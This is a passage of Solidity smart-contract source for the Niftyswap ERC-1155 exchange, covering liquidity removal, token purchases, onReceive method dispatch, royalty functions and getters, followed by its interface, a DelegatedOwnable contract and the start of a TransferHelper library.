tokens and currency. * @param _tokenReserve Amount of tokens on the AMM reserve. * @param _currencyReserve Amount of currency on the AMM reserve. * @param _totalLiquidity Total liquidity on the pool. * * @return currencyAmount Currency corresponding to pool amount plus rounded tokens. * @return tokenAmount Token corresponding to pool amount plus rounded currency. */ function _toRoundedLiquidity( uint256 _tokenId, uint256 _amountPool, uint256 _tokenReserve, uint256 _currencyReserve, uint256 _totalLiquidity ) internal view returns ( uint256 currencyAmount, uint256 tokenAmount, uint256 soldTokenNumerator, uint256 boughtCurrencyNumerator, address royaltyRecipient, uint256 royaltyNumerator ) { uint256 currencyNumerator = _amountPool.mul(_currencyReserve); uint256 tokenNumerator = _amountPool.mul(_tokenReserve); // Convert all tokenProduct rest to currency soldTokenNumerator = tokenNumerator % _totalLiquidity; if (soldTokenNumerator != 0) { // The trade happens "after" funds are out of the pool // so we need to remove these funds before computing the rate uint256 virtualTokenReserve = _tokenReserve.sub(tokenNumerator / _totalLiquidity).mul(_totalLiquidity); uint256 virtualCurrencyReserve = _currencyReserve.sub(currencyNumerator / _totalLiquidity).mul(_totalLiquidity); // Skip process if any of the two reserves is left empty // this step is important to avoid an error withdrawing all left liquidity if (virtualCurrencyReserve != 0 && virtualTokenReserve != 0) { boughtCurrencyNumerator = getSellPrice(soldTokenNumerator, virtualTokenReserve, virtualCurrencyReserve); // Discount royalty currency (royaltyRecipient, royaltyNumerator) = getRoyaltyInfo(_tokenId, boughtCurrencyNumerator); boughtCurrencyNumerator = boughtCurrencyNumerator.sub(royaltyNumerator); currencyNumerator = currencyNumerator.add(boughtCurrencyNumerator); // Add royalty numerator (needs to be converted to ROYALTIES_DENOMINATOR) royaltyNumerator = royaltyNumerator.mul(ROYALTIES_DENOMINATOR) / _totalLiquidity; } } // Calculate amounts currencyAmount = currencyNumerator / _totalLiquidity; tokenAmount = tokenNumerator / _totalLiquidity; } /** * @dev Burn liquidity pool tokens to withdraw currency && Tokens at current ratio. * @dev Sorting _tokenIds is mandatory for efficient way of preventing duplicated IDs (which would lead to errors) * @param _provider Address that removes liquidity to the reserve * @param _tokenIds Array of Token IDs where liquidity is removed * @param _poolTokenAmounts Array of Amount of liquidity pool tokens burned for each Token id in _tokenIds. * @param _minCurrency Minimum currency withdrawn for each Token id in _tokenIds. * @param _minTokens Minimum Tokens id withdrawn for each Token id in _tokenIds. * @param _deadline Timestamp after which this transaction will be reverted */ function _removeLiquidity( address _provider, uint256[] memory _tokenIds, uint256[] memory _poolTokenAmounts, uint256[] memory _minCurrency, uint256[] memory _minTokens, uint256 _deadline) internal nonReentrant() { // Input validation require(_deadline > block.timestamp, "NE20#15"); // NiftyswapExchange20#_removeLiquidity: DEADLINE_EXCEEDED // Initialize variables uint256 nTokens = _tokenIds.length; // Number of Token IDs to deposit uint256 totalCurrency = 0; // Total amount of currency to transfer uint256[] memory tokenAmounts = new uint256[](nTokens); // Amount of Tokens to transfer for each id // Structs contain most information for the event // notice: tokenAmounts and tokenIds are absent because we already // either have those arrays constructed or we need to construct them for other reasons LiquidityRemovedEventObj[] memory eventObjs = new LiquidityRemovedEventObj[](nTokens); // Get token reserves uint256[] memory tokenReserves = _getTokenReserves(_tokenIds); // Assumes NIFTY liquidity tokens are already received by contract, but not // the currency nor the Tokens Ids // Remove liquidity for each Token ID in _tokenIds for (uint256 i = 0; i < nTokens; i++) { // Store current id and amount from argument arrays uint256 id = _tokenIds[i]; uint256 amountPool = _poolTokenAmounts[i]; // Load total liquidity pool token supply for Token _id uint256 totalLiquidity = totalSupplies[id]; require(totalLiquidity > 0, "NE20#16"); // NiftyswapExchange20#_removeLiquidity: NULL_TOTAL_LIQUIDITY // Load currency and Token reserve's supply of Token id uint256 currencyReserve = currencyReserves[id]; // Calculate amount to withdraw for currency and Token _id uint256 currencyAmount; uint256 tokenAmount; { uint256 tokenReserve = tokenReserves[i]; uint256 soldTokenNumerator; uint256 boughtCurrencyNumerator; address royaltyRecipient; uint256 royaltyNumerator; ( currencyAmount, tokenAmount, soldTokenNumerator, boughtCurrencyNumerator, royaltyRecipient, royaltyNumerator ) = _toRoundedLiquidity(id, amountPool, tokenReserve, currencyReserve, totalLiquidity); // Add royalties royaltiesNumerator[royaltyRecipient] = royaltiesNumerator[royaltyRecipient].add(royaltyNumerator); // Add trade info to event eventObjs[i].soldTokenNumerator = soldTokenNumerator; eventObjs[i].boughtCurrencyNumerator = boughtCurrencyNumerator; eventObjs[i].totalSupply = totalLiquidity; } // Verify if amounts to withdraw respect minimums specified require(currencyAmount >= _minCurrency[i], "NE20#17"); // NiftyswapExchange20#_removeLiquidity: INSUFFICIENT_CURRENCY_AMOUNT require(tokenAmount >= _minTokens[i], "NE20#18"); // NiftyswapExchange20#_removeLiquidity: INSUFFICIENT_TOKENS // Update total liquidity pool token supply of Token _id totalSupplies[id] = totalLiquidity.sub(amountPool); // Update currency reserve size for Token id currencyReserves[id] = currencyReserve.sub(currencyAmount); // Update totalCurrency and tokenAmounts totalCurrency = totalCurrency.add(currencyAmount); tokenAmounts[i] = tokenAmount; eventObjs[i].currencyAmount = currencyAmount; } // Burn liquidity pool tokens for offchain supplies _batchBurn(address(this), _tokenIds, _poolTokenAmounts); // Transfer total currency and all Tokens ids TransferHelper.safeTransfer(currency, _provider, totalCurrency); token.safeBatchTransferFrom(address(this), _provider, _tokenIds, tokenAmounts, ""); // Emit event emit LiquidityRemoved(_provider, _tokenIds, tokenAmounts, eventObjs); } /***********************************| | Receiver Methods Handler | |__________________________________*/ // Method signatures for onReceive control logic // bytes4(keccak256( // "_tokenToCurrency(uint256[],uint256[],uint256,uint256,address,address[],uint256[])" // )); bytes4 internal constant SELLTOKENS_SIG = 0xade79c7a; // bytes4(keccak256( // "_addLiquidity(address,uint256[],uint256[],uint256[],uint256)" // )); bytes4 internal constant ADDLIQUIDITY_SIG = 0x82da2b73; // bytes4(keccak256( // "_removeLiquidity(address,uint256[],uint256[],uint256[],uint256[],uint256)" // )); bytes4 internal constant REMOVELIQUIDITY_SIG = 0x5c0bf259; // bytes4(keccak256( // "DepositTokens()" // )); bytes4 internal constant DEPOSIT_SIG = 0xc8c323f9; /***********************************| | Buying Tokens | |__________________________________*/ /** * @notice Convert currency tokens to Tokens _id and transfers Tokens to recipient. * @dev User specifies MAXIMUM inputs (_maxCurrency) and EXACT outputs. * @dev Assumes that all trades will be successful, or revert the whole tx * @dev Exceeding currency tokens sent will be refunded to recipient * @dev Sorting IDs is mandatory for efficient way of preventing duplicated IDs (which would lead to exploit) * @param _tokenIds Array of Tokens ID that are bought * @param _tokensBoughtAmounts Amount of Tokens id bought for each corresponding Token id in _tokenIds * @param _maxCurrency Total maximum amount of currency tokens to spend for all Token ids * @param _deadline Timestamp after which this transaction will be reverted * @param _recipient The address that receives output Tokens and refund * @param _extraFeeRecipients Array of addresses that will receive extra fee * @param _extraFeeAmounts Array of amounts of currency that will be sent as extra fee * @return currencySold How much currency was actually sold. */ function buyTokens( uint256[] memory _tokenIds, uint256[] memory _tokensBoughtAmounts, uint256 _maxCurrency, uint256 _deadline, address _recipient, address[] memory _extraFeeRecipients, uint256[] memory _extraFeeAmounts ) override external returns (uint256[] memory) { require(_deadline >= block.timestamp, "NE20#19"); // NiftyswapExchange20#buyTokens: DEADLINE_EXCEEDED require(_tokenIds.length > 0, "NE20#20"); // NiftyswapExchange20#buyTokens: INVALID_CURRENCY_IDS_AMOUNT // Transfer the tokens for purchase TransferHelper.safeTransferFrom(currency, msg.sender, address(this), _maxCurrency); address recipient = _recipient == address(0x0) ? msg.sender : _recipient; // Set the extra fee aside to recipients ahead of purchase, if any. uint256 maxCurrency = _maxCurrency; uint256 nExtraFees = _extraFeeRecipients.length; require(nExtraFees == _extraFeeAmounts.length, "NE20#21"); // NiftyswapExchange20#buyTokens: EXTRA_FEES_ARRAYS_ARE_NOT_SAME_LENGTH for (uint256 i = 0; i < nExtraFees; i++) { if (_extraFeeAmounts[i] > 0) { maxCurrency = maxCurrency.sub(_extraFeeAmounts[i]); royaltiesNumerator[_extraFeeRecipients[i]] = royaltiesNumerator[_extraFeeRecipients[i]].add(_extraFeeAmounts[i].mul(ROYALTIES_DENOMINATOR)); } } // Execute trade and retrieve amount of currency spent uint256[] memory currencySold = _currencyToToken(_tokenIds, _tokensBoughtAmounts, maxCurrency, _deadline, recipient); emit TokensPurchase(msg.sender, recipient, _tokenIds, _tokensBoughtAmounts, currencySold, _extraFeeRecipients, _extraFeeAmounts); return currencySold; } /** * @notice Handle which method is being called on transfer * @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj) * where bytes4 argument is the MethodObj object signature passed as defined * in the `Signatures for onReceive control logic` section above * @param _from The address which previously owned the Token * @param _ids An array containing ids of each Token being transferred * @param _amounts An array containing amounts of each Token being transferred * @param _data Method signature and corresponding encoded arguments for method to call on *this* contract * @return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)") */ function onERC1155BatchReceived( address, // _operator, address _from, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) override public returns(bytes4) { // This function assumes that the ERC-1155 token contract can // only call `onERC1155BatchReceived()` via a valid token transfer. // Users must be responsible and only use this Niftyswap exchange // contract with ERC-1155 compliant token contracts. // Obtain method to call via object signature bytes4 functionSignature = abi.decode(_data, (bytes4)); /***********************************| | Selling Tokens | |__________________________________*/ if (functionSignature == SELLTOKENS_SIG) { // Tokens received need to be Token contract require(msg.sender == address(token), "NE20#22"); // NiftyswapExchange20#onERC1155BatchReceived: INVALID_TOKENS_TRANSFERRED // Decode SellTokensObj from _data to call _tokenToCurrency() SellTokensObj memory obj; (, obj) = abi.decode(_data, (bytes4, SellTokensObj)); address recipient = obj.recipient == address(0x0) ? _from : obj.recipient; // Validate fee arrays require(obj.extraFeeRecipients.length == obj.extraFeeAmounts.length, "NE20#23"); // NiftyswapExchange20#buyTokens: EXTRA_FEES_ARRAYS_ARE_NOT_SAME_LENGTH // Execute trade and retrieve amount of currency received uint256[] memory currencyBought = _tokenToCurrency(_ids, _amounts, obj.minCurrency, obj.deadline, recipient, obj.extraFeeRecipients, obj.extraFeeAmounts); emit CurrencyPurchase(_from, recipient, _ids, _amounts, currencyBought, obj.extraFeeRecipients, obj.extraFeeAmounts); /***********************************| | Adding Liquidity Tokens | |__________________________________*/ } else if (functionSignature == ADDLIQUIDITY_SIG) { // Only allow to receive ERC-1155 tokens from `token` contract require(msg.sender == address(token), "NE20#24"); // NiftyswapExchange20#onERC1155BatchReceived: INVALID_TOKEN_TRANSFERRED // Decode AddLiquidityObj from _data to call _addLiquidity() AddLiquidityObj memory obj; (, obj) = abi.decode(_data, (bytes4, AddLiquidityObj)); _addLiquidity(_from, _ids, _amounts, obj.maxCurrency, obj.deadline); /***********************************| | Removing iquidity Tokens | |__________________________________*/ } else if (functionSignature == REMOVELIQUIDITY_SIG) { // Tokens received need to be NIFTY-1155 tokens require(msg.sender == address(this), "NE20#25"); // NiftyswapExchange20#onERC1155BatchReceived: INVALID_NIFTY_TOKENS_TRANSFERRED // Decode RemoveLiquidityObj from _data to call _removeLiquidity() RemoveLiquidityObj memory obj; (, obj) = abi.decode(_data, (bytes4, RemoveLiquidityObj)); _removeLiquidity(_from, _ids, _amounts, obj.minCurrency, obj.minTokens, obj.deadline); /***********************************| | Deposits & Invalid Calls | |__________________________________*/ } else if (functionSignature == DEPOSIT_SIG) { // Do nothing for when contract is self depositing // This could be use to deposit currency "by accident", which would be locked require(msg.sender == address(currency), "NE20#26"); // NiftyswapExchange20#onERC1155BatchReceived: INVALID_TOKENS_DEPOSITED } else { revert("NE20#27"); // NiftyswapExchange20#onERC1155BatchReceived: INVALID_METHOD } return ERC1155_BATCH_RECEIVED_VALUE; } /** * @dev Will pass to onERC115Batch5Received */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes memory _data) override public returns(bytes4) { uint256[] memory ids = new uint256[](1); uint256[] memory amounts = new uint256[](1); ids[0] = _id; amounts[0] = _amount; require( ERC1155_BATCH_RECEIVED_VALUE == onERC1155BatchReceived(_operator, _from, ids, amounts, _data), "NE20#28" // NiftyswapExchange20#onERC1155Received: INVALID_ONRECEIVED_MESSAGE ); return ERC1155_RECEIVED_VALUE; } /** * @notice Prevents receiving Ether or calls to unsuported methods */ fallback () external { revert("NE20#29"); // NiftyswapExchange20:UNSUPPORTED_METHOD } /***********************************| | Royalty Functions | |__________________________________*/ /** * @notice Will set the royalties fees and recipient for contracts that don't support ERC-2981 * @param _fee Fee pourcentage with a 10000 basis (e.g. 0.3% is 3 and 1% is 10 and 100% is 1000) * @param _recipient Address where to send the fees to */ function setRoyaltyInfo(uint256 _fee, address _recipient) onlyOwner public { // Don't use IS_ERC2981 in case token contract was updated bool isERC2981 = token.supportsInterface(type(IERC2981).interfaceId); require(!isERC2981, "NE20#30"); // NiftyswapExchange20#setRoyaltyInfo: TOKEN SUPPORTS ERC-2981 require(_fee <= MAX_ROYALTY, "NE20#31"); // NiftyswapExchange20#setRoyaltyInfo: ROYALTY_FEE_IS_TOO_HIGH globalRoyaltyFee = _fee; globalRoyaltyRecipient = _recipient; emit RoyaltyChanged(_recipient, _fee); } /** * @notice Will send the royalties that _royaltyRecipient can claim, if any * @dev Anyone can call this function such that payout could be distributed * regularly instead of being claimed. * @param _royaltyRecipient Address that is able to claim royalties */ function sendRoyalties(address _royaltyRecipient) override external { uint256 royaltyAmount = royaltiesNumerator[_royaltyRecipient] / ROYALTIES_DENOMINATOR; royaltiesNumerator[_royaltyRecipient] = royaltiesNumerator[_royaltyRecipient] % ROYALTIES_DENOMINATOR; TransferHelper.safeTransfer(currency, _royaltyRecipient, royaltyAmount); } /** * @notice Will return how much of currency need to be paid for the royalty * @notice Royalty is capped at 25% of the total amount of currency * @param _tokenId ID of the erc-1155 token being traded * @param _cost Amount of currency sent/received for the trade * @return recipient Address that will be able to claim the royalty * @return royalty Amount of currency that will be sent to royalty recipient */ function getRoyaltyInfo(uint256 _tokenId, uint256 _cost) public view returns (address recipient, uint256 royalty) { if (IS_ERC2981) { // Add a try/catch in-case token *removed* ERC-2981 support try IERC2981(address(token)).royaltyInfo(_tokenId, _cost) returns(address _r, uint256 _c) { // Cap to 25% of the total amount of currency uint256 max = _cost.mul(MAX_ROYALTY) / ROYALTIES_DENOMINATOR; return (_r, _c > max ? max : _c); } catch { // Default back to global setting if error occurs return (globalRoyaltyRecipient, (_cost.mul(globalRoyaltyFee)) / ROYALTIES_DENOMINATOR); } } else { return (globalRoyaltyRecipient, (_cost.mul(globalRoyaltyFee)) / ROYALTIES_DENOMINATOR); } } /***********************************| | Getter Functions | |__________________________________*/ /** * @notice Get amount of currency in reserve for each Token _id in _ids * @param _ids Array of ID sto query currency reserve of * @return amount of currency in reserve for each Token _id */ function getCurrencyReserves( uint256[] calldata _ids) override external view returns (uint256[] memory) { uint256 nIds = _ids.length; uint256[] memory currencyReservesReturn = new uint256[](nIds); for (uint256 i = 0; i < nIds; i++) { currencyReservesReturn[i] = currencyReserves[_ids[i]]; } return currencyReservesReturn; } /** * @notice Return price for `currency => Token _id` trades with an exact token amount. * @param _ids Array of ID of tokens bought. * @param _tokensBought Amount of Tokens bought. * @return Amount of currency needed to buy Tokens in _ids for amounts in _tokensBought */ function getPrice_currencyToToken( uint256[] calldata _ids, uint256[] calldata _tokensBought) override external view returns (uint256[] memory) { uint256 nIds = _ids.length; uint256[] memory prices = new uint256[](nIds); for (uint256 i = 0; i < nIds; i++) { // Load Token id reserve uint256 tokenReserve = token.balanceOf(address(this), _ids[i]); prices[i] = getBuyPriceWithRoyalty(_ids[i], _tokensBought[i], currencyReserves[_ids[i]], tokenReserve); } // Return prices return prices; } /** * @notice Return price for `Token _id => currency` trades with an exact token amount. * @param _ids Array of IDs token sold. * @param _tokensSold Array of amount of each Token sold. * @return Amount of currency that can be bought for Tokens in _ids for amounts in _tokensSold */ function getPrice_tokenToCurrency( uint256[] calldata _ids, uint256[] calldata _tokensSold) override external view returns (uint256[] memory) { uint256 nIds = _ids.length; uint256[] memory prices = new uint256[](nIds); for (uint256 i = 0; i < nIds; i++) { // Load Token id reserve uint256 tokenReserve = token.balanceOf(address(this), _ids[i]); prices[i] = getSellPriceWithRoyalty(_ids[i], _tokensSold[i], tokenReserve, currencyReserves[_ids[i]]); } // Return price return prices; } /** * @return Address of Token that is sold on this exchange. */ function getTokenAddress() override external view returns (address) { return address(token); } /** * @return LP fee per 1000 units */ function getLPFee() override external view returns (uint256) { return 1000-FEE_MULTIPLIER; } /** * @return Address of the currency contract that is used as currency */ function getCurrencyInfo() override external view returns (address) { return (address(currency)); } /** * @notice Get total supply of liquidity tokens * @param _ids ID of the Tokens * @return The total supply of each liquidity token id provided in _ids */ function getTotalSupply(uint256[] calldata _ids) override external view returns (uint256[] memory) { // Number of ids uint256 nIds = _ids.length; // Variables uint256[] memory batchTotalSupplies = new uint256[](nIds); // Iterate over each owner and token ID for (uint256 i = 0; i < nIds; i++) { batchTotalSupplies[i] = totalSupplies[_ids[i]]; } return batchTotalSupplies; } /** * @return Address of factory that created this exchange. */ function getFactoryAddress() override external view returns (address) { return factory; } /** * @return Global royalty fee % if not supporting ERC-2981 */ function getGlobalRoyaltyFee() override external view returns (uint256) { return globalRoyaltyFee; } /** * @return Global royalty recipient if token not supporting ERC-2981 */ function getGlobalRoyaltyRecipient() override external view returns (address) { return globalRoyaltyRecipient; } /** * @return Get amount of currency in royalty an address can claim * @param _royaltyRecipient Address to check the claimable royalties */ function getRoyalties(address _royaltyRecipient) override external view returns (uint256) { return royaltiesNumerator[_royaltyRecipient] / ROYALTIES_DENOMINATOR; } function getRoyaltiesNumerator(address _royaltyRecipient) override external view returns (uint256) { return royaltiesNumerator[_royaltyRecipient]; } /***********************************| | Utility Functions | |__________________________________*/ /** * @notice Divides two numbers and add 1 if there is a rounding error * @param a Numerator * @param b Denominator */ function divRound(uint256 a, uint256 b) internal pure returns (uint256, bool) { return a % b == 0 ? (a/b, false) : ((a/b).add(1), true); } /** * @notice Return Token reserves for given Token ids * @dev Assumes that ids are sorted from lowest to highest with no duplicates. * This assumption allows for checking the token reserves only once, otherwise * token reserves need to be re-checked individually or would have to do more expensive * duplication checks. * @param _tokenIds Array of IDs to query their Reserve balance. * @return Array of Token ids' reserves */ function _getTokenReserves( uint256[] memory _tokenIds) internal view returns (uint256[] memory) { uint256 nTokens = _tokenIds.length; // Regular balance query if only 1 token, otherwise batch query if (nTokens == 1) { uint256[] memory tokenReserves = new uint256[](1); tokenReserves[0] = token.balanceOf(address(this), _tokenIds[0]); return tokenReserves; } else { // Lazy check preventing duplicates & build address array for query address[] memory thisAddressArray = new address[](nTokens); thisAddressArray[0] = address(this); for (uint256 i = 1; i < nTokens; i++) { require(_tokenIds[i-1] < _tokenIds[i], "NE20#32"); // NiftyswapExchange20#_getTokenReserves: UNSORTED_OR_DUPLICATE_TOKEN_IDS thisAddressArray[i] = address(this); } return token.balanceOfBatch(thisAddressArray, _tokenIds); } } /** * @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types. * @param interfaceID The ERC-165 interface ID that is queried for support.s * @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface. * This function MUST NOT consume more thsan 5,000 gas. * @return Whether a given interface is supported */ function supportsInterface(bytes4 interfaceID) public override pure returns (bool) { return interfaceID == type(IERC20).interfaceId || interfaceID == type(IERC165).interfaceId || interfaceID == type(IERC1155).interfaceId || interfaceID == type(IERC1155TokenReceiver).interfaceId || interfaceID == type(IERC1155Metadata).interfaceId; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; interface INiftyswapExchange20 { /***********************************| | Events | |__________________________________*/ event TokensPurchase( address indexed buyer, address indexed recipient, uint256[] tokensBoughtIds, uint256[] tokensBoughtAmounts, uint256[] currencySoldAmounts, address[] extraFeeRecipients, uint256[] extraFeeAmounts ); event CurrencyPurchase( address indexed buyer, address indexed recipient, uint256[] tokensSoldIds, uint256[] tokensSoldAmounts, uint256[] currencyBoughtAmounts, address[] extraFeeRecipients, uint256[] extraFeeAmounts ); event LiquidityAdded( address indexed provider, uint256[] tokenIds, uint256[] tokenAmounts, uint256[] currencyAmounts ); struct LiquidityRemovedEventObj { uint256 currencyAmount; uint256 soldTokenNumerator; uint256 boughtCurrencyNumerator; uint256 totalSupply; } event LiquidityRemoved( address indexed provider, uint256[] tokenIds, uint256[] tokenAmounts, LiquidityRemovedEventObj[] details ); event RoyaltyChanged( address indexed royaltyRecipient, uint256 royaltyFee ); struct SellTokensObj { address recipient; // Who receives the currency uint256 minCurrency; // Total minimum number of currency expected for all tokens sold address[] extraFeeRecipients; // Array of addresses that will receive extra fee uint256[] extraFeeAmounts; // Array of amounts of currency that will be sent as extra fee uint256 deadline; // Timestamp after which the tx isn't valid anymore } struct AddLiquidityObj { uint256[] maxCurrency; // Maximum number of currency to deposit with tokens uint256 deadline; // Timestamp after which the tx isn't valid anymore } struct RemoveLiquidityObj { uint256[] minCurrency; // Minimum number of currency to withdraw uint256[] minTokens; // Minimum number of tokens to withdraw uint256 deadline; // Timestamp after which the tx isn't valid anymore } /***********************************| | Purchasing Functions | |__________________________________*/ /** * @notice Convert currency tokens to Tokens _id and transfers Tokens to recipient. * @dev User specifies MAXIMUM inputs (_maxCurrency) and EXACT outputs. * @dev Assumes that all trades will be successful, or revert the whole tx * @dev Exceeding currency tokens sent will be refunded to recipient * @dev Sorting IDs is mandatory for efficient way of preventing duplicated IDs (which would lead to exploit) * @param _tokenIds Array of Tokens ID that are bought * @param _tokensBoughtAmounts Amount of Tokens id bought for each corresponding Token id in _tokenIds * @param _maxCurrency Total maximum amount of currency tokens to spend for all Token ids * @param _deadline Timestamp after which this transaction will be reverted * @param _recipient The address that receives output Tokens and refund * @param _extraFeeRecipients Array of addresses that will receive extra fee * @param _extraFeeAmounts Array of amounts of currency that will be sent as extra fee * @return currencySold How much currency was actually sold. */ function buyTokens( uint256[] memory _tokenIds, uint256[] memory _tokensBoughtAmounts, uint256 _maxCurrency, uint256 _deadline, address _recipient, address[] memory _extraFeeRecipients, uint256[] memory _extraFeeAmounts ) external returns (uint256[] memory); /***********************************| | Royalties Functions | |__________________________________*/ /** * @notice Will send the royalties that _royaltyRecipient can claim, if any * @dev Anyone can call this function such that payout could be distributed * regularly instead of being claimed. * @param _royaltyRecipient Address that is able to claim royalties */ function sendRoyalties(address _royaltyRecipient) external; /***********************************| | OnReceive Functions | |__________________________________*/ /** * @notice Handle which method is being called on Token transfer * @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj) * where bytes4 argument is the MethodObj object signature passed as defined * in the `Signatures for onReceive control logic` section above * @param _operator The address which called the `safeTransferFrom` function * @param _from The address which previously owned the token * @param _id The id of the token being transferred * @param _amount The amount of tokens being transferred * @param _data Method signature and corresponding encoded arguments for method to call on *this* contract * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4); /** * @notice Handle which method is being called on transfer * @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj) * where bytes4 argument is the MethodObj object signature passed as defined * in the `Signatures for onReceive control logic` section above * @param _from The address which previously owned the Token * @param _ids An array containing ids of each Token being transferred * @param _amounts An array containing amounts of each Token being transferred * @param _data Method signature and corresponding encoded arguments for method to call on *this* contract * @return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)") */ function onERC1155BatchReceived(address, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4); /***********************************| | Getter Functions | |__________________________________*/ /** * @dev Pricing function used for converting between currency token to Tokens. * @param _assetBoughtAmount Amount of Tokens being bought. * @param _assetSoldReserve Amount of currency tokens in exchange reserves. * @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves. * @return Amount of currency tokens to send to Niftyswap. */ function getBuyPrice(uint256 _assetBoughtAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external view returns (uint256); /** * @dev Pricing function used for converting Tokens to currency token (including royalty fee) * @param _tokenId Id ot token being sold * @param _assetBoughtAmount Amount of Tokens being bought. * @param _assetSoldReserve Amount of currency tokens in exchange reserves. * @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves. * @return price Amount of currency tokens to send to Niftyswap. */ function getBuyPriceWithRoyalty(uint256 _tokenId, uint256 _assetBoughtAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external view returns (uint256 price); /** * @dev Pricing function used for converting Tokens to currency token. * @param _assetSoldAmount Amount of Tokens being sold. * @param _assetSoldReserve Amount of Tokens in exchange reserves. * @param _assetBoughtReserve Amount of currency tokens in exchange reserves. * @return Amount of currency tokens to receive from Niftyswap. */ function getSellPrice(uint256 _assetSoldAmount,uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external view returns (uint256); /** * @dev Pricing function used for converting Tokens to currency token (including royalty fee) * @param _tokenId Id ot token being sold * @param _assetSoldAmount Amount of Tokens being sold. * @param _assetSoldReserve Amount of Tokens in exchange reserves. * @param _assetBoughtReserve Amount of currency tokens in exchange reserves. * @return price Amount of currency tokens to receive from Niftyswap. */ function getSellPriceWithRoyalty(uint256 _tokenId, uint256 _assetSoldAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external view returns (uint256 price); /** * @notice Get amount of currency in reserve for each Token _id in _ids * @param _ids Array of ID sto query currency reserve of * @return amount of currency in reserve for each Token _id */ function getCurrencyReserves(uint256[] calldata _ids) external view returns (uint256[] memory); /** * @notice Return price for `currency => Token _id` trades with an exact token amount. * @param _ids Array of ID of tokens bought. * @param _tokensBought Amount of Tokens bought. * @return Amount of currency needed to buy Tokens in _ids for amounts in _tokensBought */ function getPrice_currencyToToken(uint256[] calldata _ids, uint256[] calldata _tokensBought) external view returns (uint256[] memory); /** * @notice Return price for `Token _id => currency` trades with an exact token amount. * @param _ids Array of IDs token sold. * @param _tokensSold Array of amount of each Token sold. * @return Amount of currency that can be bought for Tokens in _ids for amounts in _tokensSold */ function getPrice_tokenToCurrency(uint256[] calldata _ids, uint256[] calldata _tokensSold) external view returns (uint256[] memory); /** * @notice Get total supply of liquidity tokens * @param _ids ID of the Tokens * @return The total supply of each liquidity token id provided in _ids */ function getTotalSupply(uint256[] calldata _ids) external view returns (uint256[] memory); /** * @return Address of Token that is sold on this exchange. */ function getTokenAddress() external view returns (address); /** * @return LP fee per 1000 units */ function getLPFee() external view returns (uint256); /** * @return Address of the currency contract that is used as currency */ function getCurrencyInfo() external view returns (address); /** * @return Address of factory that created this exchange. */ function getFactoryAddress() external view returns (address); /** * @return Global royalty fee % if not supporting ERC-2981 */ function getGlobalRoyaltyFee() external view returns (uint256); /** * @return Global royalty recipient if token not supporting ERC-2981 */ function getGlobalRoyaltyRecipient() external view returns (address); /** * @return Get amount of currency in royalty an address can claim * @param _royaltyRecipient Address to check the claimable royalties */ function getRoyalties(address _royaltyRecipient) external view returns (uint256); function getRoyaltiesNumerator(address _royaltyRecipient) external view returns (uint256); } pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import "../interfaces/IOwnable.sol"; /** * @title Ownable * @dev The Ownable contract inherits the owner of a parent contract as its owner, * and provides basic authorization control functions, this simplifies the * implementation of "user permissions". */ contract DelegatedOwnable { address internal ownableParent; event ParentOwnerChanged(address indexed previousParent, address indexed newParent); /** * @dev The Ownable constructor sets the original `ownableParent` of the contract to the specied address * @param _firstOwnableParent Address of the first ownable parent contract */ constructor (address _firstOwnableParent) { try IOwnable(_firstOwnableParent).getOwner() { // Do nothing if parent has ownable function } catch { revert("DO#1"); // PARENT IS NOT OWNABLE } ownableParent = _firstOwnableParent; emit ParentOwnerChanged(address(0), _firstOwnableParent); } /** * @dev Throws if called by any account other than the master owner. */ modifier onlyOwner() { require(msg.sender == getOwner(), "DO#2"); // DelegatedOwnable#onlyOwner: SENDER_IS_NOT_OWNER _; } /** * @notice Will use the owner address of another parent contract * @param _newParent Address of the new owner */ function changeOwnableParent(address _newParent) public onlyOwner { require(_newParent != address(0), "D3"); // DelegatedOwnable#changeOwnableParent: INVALID_ADDRESS ownableParent = _newParent; emit ParentOwnerChanged(ownableParent, _newParent); } /** * @notice Returns the address of the owner. */ function getOwner() public view returns (address) { return IOwnable(ownableParent).getOwner(); } } pragma solidity ^0.7.4; /** Note: The ERC-165 identifier for this interface is 0x0e89341c. */ interface IERC1155Metadata { /** @notice A distinct Uniform Resource Identifier (URI) for a given token. @dev URIs are defined in RFC 3986. The URI MUST point to a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema". @return URI string */ function uri(uint256 _id) external view returns (string memory); } pragma solidity ^0.7.4; import "./IERC1155Metadata.sol"; interface IDelegatedERC1155Metadata { function metadataProvider() external view returns (IERC1155Metadata); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // 